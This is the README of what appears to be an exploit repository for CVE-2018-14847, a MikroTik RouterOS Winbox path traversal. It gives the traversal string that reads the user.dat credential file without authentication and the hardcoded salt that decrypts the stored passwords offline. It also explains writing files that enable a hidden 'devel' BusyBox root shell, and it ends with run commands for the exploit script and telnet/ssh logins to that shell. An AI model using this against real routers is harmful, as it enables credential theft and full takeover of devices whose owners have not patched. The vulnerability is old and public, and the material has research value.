MikroTik Winbox 协议中的未认证路径遍历漏洞,可泄露 /flash/rw/store/user.dat 中的管理员凭据
CVE-2018-14847 是 MikroTik RouterOS 中的一个路径遍历漏洞,影响 Winbox 管理协议(TCP 端口 8291)。未认证的远程攻击者可以读取路由器文件系统中的任意文件,包括用户凭据数据库 /flash/rw/store/user.dat,该数据库使用弱静态 XOR 密钥存储加密密码。
该漏洞最初由 Jacob Baines(Tenable)于 2018 年 7 月通过 By the Way 利用工具公开披露。本仓库包含一个独立的 Python3 重写实现,并附有完整的协议文档。
| 渠道 | 版本 |
|---|
| 长期版 (Longterm) | 6.30.1 - 6.40.7 |
| 稳定版 (Stable) | 6.29 - 6.42 |
| 测试版 (Beta) | 6.29rc1 - 6.43rc3 |
MikroTik 已于 2018 年 4 月修复此漏洞。运行 RouterOS 版本低于已修复版本的设备仍然存在漏洞。
Winbox 是 MikroTik 专有的二进制管理协议,运行在 TCP 端口 8291 上。帧结构如下:
[total_len - 2][0x01][0x00][total_len - 4]["M2"][fields...]
4 字节头部编码了帧的总长度。它不是标准的小端 u16——每个字节独立编码 total_length - 2 和 total_length - 4。
每个帧内部的字段编码:
| 类型字节 | 含义 | 值 |
|---|---|---|
| 0xff | 扩展字段标记 | 后跟 field_id 和 value |
| 0x09 | u8 整数 | 1 字节 |
| 0x21 | 字符串 | 1 字节长度前缀 + 数据 |
| 0x88 | 需要回复标记 | 无值 |
| 0xfe | 扩展字段 id | 3 字节 id + 类型 + 值 |
文件系统处理程序位于端点(sys=5, handler=0),并暴露了三个相关命令:
Winbox 文件系统处理程序未对传递给打开文件命令的路径进行过滤。通过嵌入 '/////./../' 序列,攻击者可以逃逸沙箱边界并访问根文件系统:
/////./..//////./..//////./../flash/rw/store/user.dat
每个 '/////./../' 段(10 字节)向上跳转一级目录。三个段即可到达根目录,之后 flash/rw/store/user.dat 就是 RouterOS 用户凭据数据库。该请求无需认证。
该利用工具发送两个帧:
user.dat 是一系列 nv::message 记录。每条记录前面有一个 2 字节小端长度字段,并以魔术字节 M2 开头。每条记录内的字段使用 3 字节小端字段 id:
| 字段 id | 类型 | 含义 |
|---|
| 0x01 | string | 用户名 |
| 0x02 | u8 | 组 - 3 = 完整管理员权限 |
| 0x11 | string | 加密密码(未设置则为空) |
密码使用从 RouterOS 中编译的硬编码盐派生的静态 XOR 密钥进行加密:
key = MD5(username + "283i4jfkai3389")
password = XOR(encrypted_pass[i], key[i % len(key)]) 直至遇到空字节
这意味着从任何受影响设备提取的任何 user.dat 都可以离线解密,无需暴力破解。
在获得管理员密码后,攻击者可以通过 Winbox 进行认证,并使用创建文件命令写入两个文件,以激活隐藏的开发者登录:
/pckg/option 激活 option 软件包
/flash/nova/etc/devel-login 启用 devel 用户
一旦这些文件存在,路由器就会通过 Telnet 和 SSH 以 devel 用户身份暴露一个 BusyBox root shell,使用管理员的密码。
在某些 RouterOS 版本上,必须先连接 Telnet,SSH 才能正常工作。
Exploit_CVE_2018_14847.py 是一个自包含的 Python3 利用脚本,零外部依赖。它从零实现了 Winbox 二进制协议,并执行:
# 默认端口 8291
python3 Exploit_CVE_2018_14847.py 192.168.1.10
# 自定义端口
python3 Exploit_CVE_2018_14847.py 192.168.1.10 8291
后渗透利用——开发者后门 shell:
# Telnet(必须先连接)
telnet -l devel 192.168.1.10
# SSH(在 Telnet 会话之后)
ssh -oHostKeyAlgorithms=+ssh-dss [email protected]